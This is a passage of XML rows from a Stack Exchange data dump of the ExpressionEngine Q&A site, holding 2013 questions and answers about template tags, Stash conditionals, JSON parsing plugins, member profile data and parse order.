  <row Id="12065" PostTypeId="2" ParentId="11859" CreationDate="2013-07-18T12:27:42.857" Score="3" Body="&lt;p&gt;I think the best way to approach this is to tag the caches with their sibling ids. Structure actually makes this quite easy, because of its &lt;a href=&quot;http://buildwithstructure.com/tags/global_variables/&quot; rel=&quot;nofollow&quot;&gt;global variables&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ce_cache:it tags=&quot;{structure:sibling_ids}|{structure:page:entry_id}&quot;}&#xA;    {exp:channel:entries limit=&quot;1&quot; ...}&#xA;        ...&#xA;        {exp:ce_cache:add_tag}{entry_id}{/exp:ce_cache:add_tag}&#xA;    {/exp:channel:entries}&#xA;{/exp:ce_cache:it}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="936" LastActivityDate="2013-07-18T12:27:42.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12066" PostTypeId="1" AcceptedAnswerId="12070" CreationDate="2013-07-18T13:08:14.117" Score="1" ViewCount="68" Body="&lt;p&gt;I am building site with EE v2.6.1 and I have following snippet in one of my template&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;content-main&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;titel&quot;&amp;gt;Features&amp;lt;/div&amp;gt;    &#xA;        &amp;lt;div class=&quot;content-box&quot;&amp;gt;&#xA;          &amp;lt;ul class=&quot;features&quot;&amp;gt;&#xA;            {features}&#xA;            &amp;lt;li&amp;gt;&#xA;              &amp;lt;span&amp;gt;{features:title}&amp;lt;/span&amp;gt;&#xA;              &amp;lt;img src=&quot;{features:icon}&quot; width=&quot;65&quot; height=&quot;55&quot; alt=&quot;&quot;&amp;gt; &#xA;              {features:description}&#xA;            &amp;lt;/li&amp;gt;&#xA;            {/features}&#xA;          &amp;lt;/ul&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;    &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to hide the whole block if there is no entry in features relationship, is there any direct way or I need to use plugin?&lt;/p&gt;&#xA;" OwnerUserId="1796" LastActivityDate="2013-07-18T13:23:44.390" Title="Relatioship custom fields hide if no entries" Tags="|templates|relationships|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12067" PostTypeId="2" ParentId="12063" CreationDate="2013-07-18T13:16:47.517" Score="1" Body="&lt;p&gt;Well, you created your own solution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To prevent conflicts, change the value of &lt;code&gt;no_related&lt;/code&gt; to something diferent of &quot;0&quot;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if no_results}{exp:stash:set_value name=&quot;no_related&quot; value=&quot;yes&quot;}{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, use a conditional, but put this code on an embed, to make it be parsed &lt;strong&gt;after&lt;/strong&gt; your nested list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{exp:stash:get name='no_related'}&quot; != &quot;yes&quot;}&#xA;    &amp;lt;div class=&quot;well&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;How To Guides&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        {exp:stash:get_list:nested name=&quot;related_guides-{embed:e_id}&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{link}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:stash:get_list:nested}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Or, you can just use the &lt;code&gt;not_empty&lt;/code&gt; single variable and to no create the &lt;code&gt;no_related&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if {exp:stash:not_empty name=&quot;related_guides-{embed:e_id}&quot;}}&#xA;    &amp;lt;div class=&quot;well&quot;&amp;gt;&#xA;        &amp;lt;h4&amp;gt;How To Guides&amp;lt;/h4&amp;gt;&#xA;        &amp;lt;ul&amp;gt;&#xA;        {exp:stash:get_list:nested name=&quot;related_guides-{embed:e_id}&quot;}&#xA;            &amp;lt;li&amp;gt;&amp;lt;a href=&quot;{link}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;        {/exp:stash:get_list:nested}&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-18T13:16:47.517" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12068" PostTypeId="1" CreationDate="2013-07-18T13:17:06.357" Score="1" ViewCount="216" Body="&lt;p&gt;I am wondering why this code isn't working as I expect it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries search:feature_on_homepage=&quot;y&quot; search:images=&quot;not IS_EMPTY&quot;  disable=&quot;categories|member_data&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am expecting that only entries with Yes option selected and have images to be returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="789" LastActivityDate="2013-12-08T17:05:32.070" Title="How can I use P&amp;T switch in channel entry tag so only entries with the Yes option are returned" Tags="|channel-entries|playa|fieldtype|field-pack|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12069" PostTypeId="2" ParentId="12068" CreationDate="2013-07-18T13:21:50.523" Score="0" Body="&lt;p&gt;If you output the value of the field, what do you see? Does the field output 'y' or 'n' or does it output 'y' or blank?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the former then your criteria will fail since search:images is never empty&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-07-18T13:21:50.523" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12070" PostTypeId="2" ParentId="12066" CreationDate="2013-07-18T13:23:44.390" Score="1" Body="&lt;p&gt;Can you try like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{features}&#xA;    {if &quot;{features:count}&quot; == &quot;1&quot;}&#xA;    &amp;lt;div class=&quot;content-main&quot;&amp;gt;&#xA;            &amp;lt;div class=&quot;titel&quot;&amp;gt;Features&amp;lt;/div&amp;gt;    &#xA;            &amp;lt;div class=&quot;content-box&quot;&amp;gt;&#xA;              &amp;lt;ul class=&quot;features&quot;&amp;gt;&#xA;    {/if}&#xA;                &amp;lt;li&amp;gt;&#xA;                  &amp;lt;span&amp;gt;{features:title}&amp;lt;/span&amp;gt;&#xA;                  &amp;lt;img src=&quot;{features:icon}&quot; width=&quot;65&quot; height=&quot;55&quot; alt=&quot;&quot;&amp;gt; &#xA;                  {features:description}&#xA;                &amp;lt;/li&amp;gt;&#xA;    {if &quot;{features:count}&quot; == &quot;{features:total_results}&quot;}&#xA;              &amp;lt;/ul&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;          &amp;lt;/div&amp;gt;&#xA;    {/if}&#xA;{/features}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I hope, it would work.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-18T13:23:44.390" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12071" PostTypeId="2" ParentId="11207" CreationDate="2013-07-18T14:43:25.330" Score="1" Body="&lt;p&gt;I just addressed this same issue at &lt;a href=&quot;http://ellislab.com/forums/viewthread/235757/&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/forums/viewthread/235757/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically you have to output that field value and just set visibility:false on the select tag. &lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2013-07-18T14:43:25.330" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12073" PostTypeId="1" AcceptedAnswerId="12075" CreationDate="2013-07-18T15:21:33.793" Score="1" ViewCount="764" Body="&lt;p&gt;We have a BrilliantRetail cart and I'm adding JSON data into an attribute named itemJSON.&#xA;In the cart template, we loop through the items in the cart using the {items}{/items} tag and I need to show certain values from the JSON stored in the attribute.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{itemJSON}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tag shows the full JSON. I only want some of the values stored there without having to use PHP in my template. Is this doable? Doing it like either of these fails, it shows the tag, instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{itemJSON-&amp;gt;SP-&amp;gt;FN}&#xA;{itemJSON.SP.FN}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Would there be a way to use preload_replace to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edited-&gt;showing code:&lt;/strong&gt;&#xA;This doesn't seem to be working correctly:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$json = json_decode($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param(&quot;json&quot;), true);&#xA;$values[&quot;StudentName&quot;]    = $json[&quot;ShortParticipants&quot;][0][&quot;FirstName&quot;];&#xA;$values[&quot;CEState&quot;]        = $json[&quot;ShortParticipants&quot;][0][&quot;CEInfo&quot;][&quot;CEState&quot;];&#xA;$values[&quot;CENameOnLic&quot;]    = $json[&quot;ShortParticipants&quot;][0][&quot;CEInfo&quot;][&quot;CEFirstName&quot;].&quot; &quot;.$json[&quot;ShortParticipants&quot;][0][&quot;CEInfo&quot;][&quot;CELastName&quot;];&#xA;$values[&quot;CELicencelabel&quot;] = $json[&quot;ShortParticipants&quot;][0][&quot;CEInfo&quot;][&quot;CELicenseText&quot;];&#xA;$values[&quot;CELicenseNum&quot;]   = $json[&quot;ShortParticipants&quot;][0][&quot;CEInfo&quot;][&quot;CELicense&quot;];&#xA;$values[&quot;CEHours&quot;]        = $json[&quot;ShortParticipants&quot;][0][&quot;CEInfo&quot;][&quot;Hours&quot;];&#xA;$values[&quot;course_text&quot;]    = file_get_contents(&quot;http://&quot;.$_SERVER[&quot;HTTP_HOST&quot;].&quot;/files/getCourseText.php?EventCode=&quot;.$json[&quot;eventcode&quot;].&quot;&amp;amp;Cart=yes&quot;);&#xA;&#xA;$vars = array((array) $values);&#xA;&#xA;$this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);        &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also, in using the tag like you show:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:tnajson json=&quot;{itemJSON}&quot;}&#xA;    {if sku == &quot;CE_FEE&quot;}&#xA;    &amp;lt;i&amp;gt;CE For Student: {StudentName}&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&#xA;    Course: {course_text}&amp;lt;br /&amp;gt;&#xA;    &amp;lt;hr style=&quot;color: #D9DDE3; background-color: #D9DDE3; margin-bottom: 5px;&quot; /&amp;gt;&#xA;    CE State: {CEState}&amp;lt;br /&amp;gt;&#xA;    Name On License: {CENameOnLic}&amp;lt;br /&amp;gt;&#xA;    {CELicencelabel}: {CELicenseNum}&amp;lt;br /&amp;gt;&#xA;    Hours: {CEHours}&amp;lt;br /&amp;gt;  &#xA;    {if:else}&#xA;    &amp;lt;i&amp;gt;For Student: {StudentName}&amp;lt;/i&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {course_text}&#xA;    {/if}&#xA;{/exp:tnajson}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It shows this: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;}}&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then none of the values.&lt;/p&gt;&#xA;" OwnerUserId="1725" LastEditorUserId="1725" LastEditDate="2013-07-18T17:07:42.087" LastActivityDate="2015-04-13T21:15:28.880" Title="Parsing JSON in EE tag" Tags="|templates|variable|preload-replace|brilliantretail|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12074" PostTypeId="1" AcceptedAnswerId="12077" CreationDate="2013-07-18T15:54:53.217" Score="1" ViewCount="283" Body="&lt;p&gt;I've got a variable that outputs a string such as:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;question ^ answer &amp;gt; question ^ answer &amp;gt; question ^ answer&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I added the symbols in between them to know where the split should happen. I've been using the 'Explode' plugin (&lt;a href=&quot;http://devot-ee.com/add-ons/explode&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/explode&lt;/a&gt;) and this works perfectly. BUT it only works to split based on one set of characters e.g. ^ only.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{variable} = question 1 ^ answer 1 &amp;gt; question 2 ^ answer 2&#xA;&#xA;{exp:explode separator=&quot;&amp;gt;&quot; string=&quot;{variable}&quot;}&#xA;&#xA;    &amp;lt;div id=&quot;question&quot;&amp;gt;&#xA;        {exp_value}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA; {/exp:explode}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above code would output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;question&quot;&amp;gt;&#xA;        question 1 ^ answer 1&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;question&quot;&amp;gt;&#xA;        question 2 ^ answer 3&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which is great, but I need my markup to be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;question&quot;&amp;gt;&#xA;        question 1&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;answer&quot;&amp;gt;&#xA;        answer 1&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which would require doing something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{variable} = question 1 ^ answer 1 &amp;gt; question 2 ^ answer 2&#xA;&#xA;{exp:explode separator=&quot;^|&amp;gt;&quot; string=&quot;{variable}&quot;}&#xA;&#xA;    &amp;lt;div id=&quot;question&quot;&amp;gt;&#xA;        {exp_value_1}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;answer&quot;&amp;gt;&#xA;        {exp_value_2}&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA; {/exp:explode}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which would then output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;question&quot;&amp;gt;&#xA;        question 1&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;answer&quot;&amp;gt;&#xA;        answer 1&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;question&quot;&amp;gt;&#xA;        question 2&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div id=&quot;answer&quot;&amp;gt;&#xA;        answer2&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now the Explode plugin comes with the &lt;code&gt;{exp_value_1}&lt;/code&gt; and &lt;code&gt;{exp_value_2}&lt;/code&gt; variables, but they don't work on a 'Loop'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way of achieving this? With any other plugin? Or another solution&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-07-18T16:15:31.250" Title="Split String from Variable" Tags="|add-on|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12075" PostTypeId="2" ParentId="12073" CreationDate="2013-07-18T15:55:26.990" Score="2" Body="&lt;p&gt;Not sure what existing solution there are, but I would just create a real simple plugin with &lt;a href=&quot;http://pkg.io&quot; rel=&quot;nofollow&quot;&gt;pkg.io&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, your constructor method would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function constructor()&#xA;{&#xA;    $json = json_encode($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;fetch_param('json'));&#xA;&#xA;    // Now you need to parse the JSON object. This will be unique&#xA;    // depending on what your JSON object looks like.&#xA;    // This example assumes you have an object 1 level deep and it needs&#xA;    // converted to an indexed associated array.&#xA;&#xA;    $vars = array((array) $json);&#xA;&#xA;    $this-&amp;gt;return_data = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your template tags will look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:your_plugin json=&quot;{itemJSON}&quot;}&#xA;    {your_obj_property_name_1}&#xA;    {your_obj_property_name_2}&#xA;    {your_obj_property_name_3}&#xA;{/exp:your_plugin}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-07-18T15:55:26.990" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="12076" PostTypeId="1" AcceptedAnswerId="12080" CreationDate="2013-07-18T16:09:07.210" Score="1" ViewCount="374" Body="&lt;p&gt;{exp:member:custom_profile_data member_id='{member_id}'}{full_name}{/exp:member:custom_profile_data}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code above doesn't show anything. if I change the {member_id} global variable to a number it does work. Why isn't it working when the variable is in there? {member_id} displays correctly when used outside of the tag.&lt;/p&gt;&#xA;" OwnerUserId="603" LastActivityDate="2013-07-18T16:59:22.380" Title="Displaying member custom_profile_data on front end of site won't work" Tags="|members|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12077" PostTypeId="2" ParentId="12074" CreationDate="2013-07-18T16:15:31.250" Score="1" Body="&lt;p&gt;I think you can do this with the Lists feature of CE Variables. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.causingeffect.com/software/expressionengine/ce-variables/user-guide/lists&quot; rel=&quot;nofollow&quot;&gt;http://www.causingeffect.com/software/expressionengine/ce-variables/user-guide/lists&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="367" LastActivityDate="2013-07-18T16:15:31.250" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12078" PostTypeId="2" ParentId="12022" CreationDate="2013-07-18T16:50:22.030" Score="1" Body="&lt;p&gt;You can use the safecracker syntax of {field:field_name} to get it to display exactly as it does in the CP / Publish page.&lt;/p&gt;&#xA;" OwnerUserId="1790" LastActivityDate="2013-07-18T16:50:22.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12079" PostTypeId="2" ParentId="12076" CreationDate="2013-07-18T16:58:30.073" Score="1" Body="&lt;p&gt;You should see ExpressionEngine's Parse Order (&lt;a href=&quot;http://loweblog.com/downloads/ee-parse-order.pdf&quot; rel=&quot;nofollow&quot;&gt;http://loweblog.com/downloads/ee-parse-order.pdf&lt;/a&gt;). You can see that user deﬁned global variables are being parsed at last.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But if you would like to show the logged in member's profile data there is no need to pass member_id parameter.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this statement within user doc (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/member/#custom-profile-data-tag&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/modules/member/#custom-profile-data-tag&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Specifies a particular member’s information to display. By default (if&#xA;  you do not include the member_id parameter), the tag will simply&#xA;  display information pertaining to the currently logged-in user.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-18T16:58:30.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12080" PostTypeId="2" ParentId="12076" CreationDate="2013-07-18T16:59:22.380" Score="2" Body="&lt;p&gt;&lt;code&gt;{member_id}&lt;/code&gt; and &lt;code&gt;{logged_in_member_id}&lt;/code&gt; are &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html&quot; rel=&quot;nofollow&quot;&gt;standard global variables&lt;/a&gt;. All global variables are parsed &lt;strong&gt;after&lt;/strong&gt; the modules. Take a look at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/template_engine.html&quot; rel=&quot;nofollow&quot;&gt;Template Engine documentation&lt;/a&gt;. The modules tags are the 15th item parsed, while the &lt;code&gt;{member_id}&lt;/code&gt; is 24th and &lt;code&gt;{logged_in_member_id}&lt;/code&gt; is 25th.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, when the template engine parses the &lt;code&gt;exp:member:custom_profile&lt;/code&gt;, the &lt;code&gt;member_id&lt;/code&gt; isn't available yet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way, you don't need to fill the &lt;code&gt;member_id&lt;/code&gt; parameter because its default value is the current logged member.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-07-18T16:59:22.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12081" PostTypeId="2" ParentId="11938" CreationDate="2013-07-18T18:07:20.750" Score="1" Body="&lt;p&gt;We've got a fix for this locally that will be included in the next release.  Sending the patched files in your support request.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2013-07-18T18:07:20.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12082" PostTypeId="2" ParentId="12056" CreationDate="2013-07-18T18:16:18.993" Score="1" Body="&lt;p&gt;The ability to access Modules, and the ability to install/remove modules are two separate group permissions. You can grant the former permission without granting the latter.&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2013-07-18T18:16:18.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12083" PostTypeId="1" CreationDate="2013-07-18T18:17:22.100" Score="0" ViewCount="201" Body="&lt;p&gt;I'm making a people directory with the A - B - C etc. links, where clicking a letter will take you to the people whose last names begin with that letter. I have a People channel with a last_name field that I can use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone recommend a good way to approach this? Thank you.&lt;/p&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2013-07-18T20:20:06.793" Title="Making a directory's A - B - C - D etc. links" Tags="|channel|search|entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12084" PostTypeId="2" ParentId="11774" CreationDate="2013-07-18T18:28:48.517" Score="0" Body="&lt;p&gt;I ended up needing to write a plugin to handle this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just compares the event date/time and the current date/time, and outputs different date strings.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-07-18T18:28:48.517" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12085" PostTypeId="2" ParentId="12083" CreationDate="2013-07-18T18:46:50.240" Score="1" Body="&lt;p&gt;At first I was thinking of trying the search:field parameter, but instead used a href=&quot;#A&quot; links at the top with named anchors with PHP on Output in my channel entries loop:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;td id=&quot;&amp;lt;?&#xA;                    $lchar1 = substr(&quot;{last_name}&quot;, 0, 1);&#xA;                    if ($lchar1 != @$lchar2)&#xA;                        echo &quot;$lchar1&quot;;&#xA;                    $lchar2 = $lchar1;&#xA;   ?&amp;gt;&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1327" LastActivityDate="2013-07-18T18:46:50.240" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12087" PostTypeId="2" ParentId="12083" CreationDate="2013-07-18T18:50:38.320" Score="4" Body="&lt;p&gt;You might use &quot;&lt;a href=&quot;http://gotolow.com/addons/low-alphabet&quot; rel=&quot;nofollow&quot;&gt;Low Alphabet&lt;/a&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the tags from here: &lt;a href=&quot;http://gotolow.com/addons/low-alphabet/docs/tags&quot; rel=&quot;nofollow&quot;&gt;http://gotolow.com/addons/low-alphabet/docs/tags&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For last_name, just pass parameter &lt;code&gt;orderby=&quot;last_name&quot;&lt;/code&gt; within &lt;code&gt;{exp:low_alphabet:entries}&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-18T18:50:38.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12088" PostTypeId="1" CreationDate="2013-07-18T19:09:35.480" Score="1" ViewCount="172" Body="&lt;p&gt;Throttling limits, &quot;the number of page requests by a single IP address within a given time interval.&quot; In the ebook Securing ExpressionEngine 2, Mark Huot writes that, &quot;[Throttling is] one of the first settings you should enable when securing an EE2 install.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The EllisLab user guide doesn't give too much information about it: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/optimization/throttling.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://ellislab.com/expressionengine/user-guide/optimization/throttling.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Throttling helps block malicious bots, but does it affect &quot;good&quot; bots like Googlebot, Yahoo Slurp, and MSNbot? If so, is there a way to allow these latter kinds of bots -- maybe with a hidden configuration variable or with some .htaccess code?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[NOTE: I saw this: &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/7477/exempt-googlebot-from-throttling-1-x&quot;&gt;Exempt GoogleBot from throttling (1.x)&lt;/a&gt; Is it true website owners have to seek out bot sites like this one manually, or can this be accomplished with .htaccess?]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[UPDATE: So far it seems like the best option is adding this to .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;User-agent: *&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Crawl-delay: 5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And customized the setting in Google Webmaster Tools: &lt;a href=&quot;https://support.google.com/webmasters/answer/48620?hl=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://support.google.com/webmasters/answer/48620?hl=en&lt;/a&gt; ]&lt;/p&gt;&#xA;" OwnerUserId="1798" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.763" LastActivityDate="2013-07-18T20:02:04.283" Title="Does Throttling affect &quot;good&quot; bots negatively?" Tags="|htaccess|security|config|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12089" PostTypeId="1" CreationDate="2013-07-18T19:26:56.420" Score="2" ViewCount="76" Body="&lt;p&gt;I've followed the documentation outlined here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.pixelandtonic.com/matrix/templating/field.html&quot; rel=&quot;nofollow&quot;&gt;http://docs.pixelandtonic.com/matrix/templating/field.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where my custom field is &lt;code&gt;member_companyname&lt;/code&gt; and is assigned as a matrix fieldtype.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{member_companyname sort=&quot;desc&quot; limit=&quot;1&quot;}&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;member_companyname&quot; id=&quot;member_companyname&quot; class=&quot;form-text&quot; value=&quot;{member_companyname}&quot; /&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_companyname[row_order][]&quot; value=&quot;row_new_{count}&quot;&amp;gt;&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_companyname[row_new_{count}][col_id_20][]&quot; value=&quot;[{entry_id}] [{url_title}] {title}&quot;&amp;gt;&#xA;{/member_companyname}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but it's not rendering it and spits it out as this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;Company Name {member_companyname sort=&quot;desc&quot; limit=&quot;1&quot;} &quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="69" 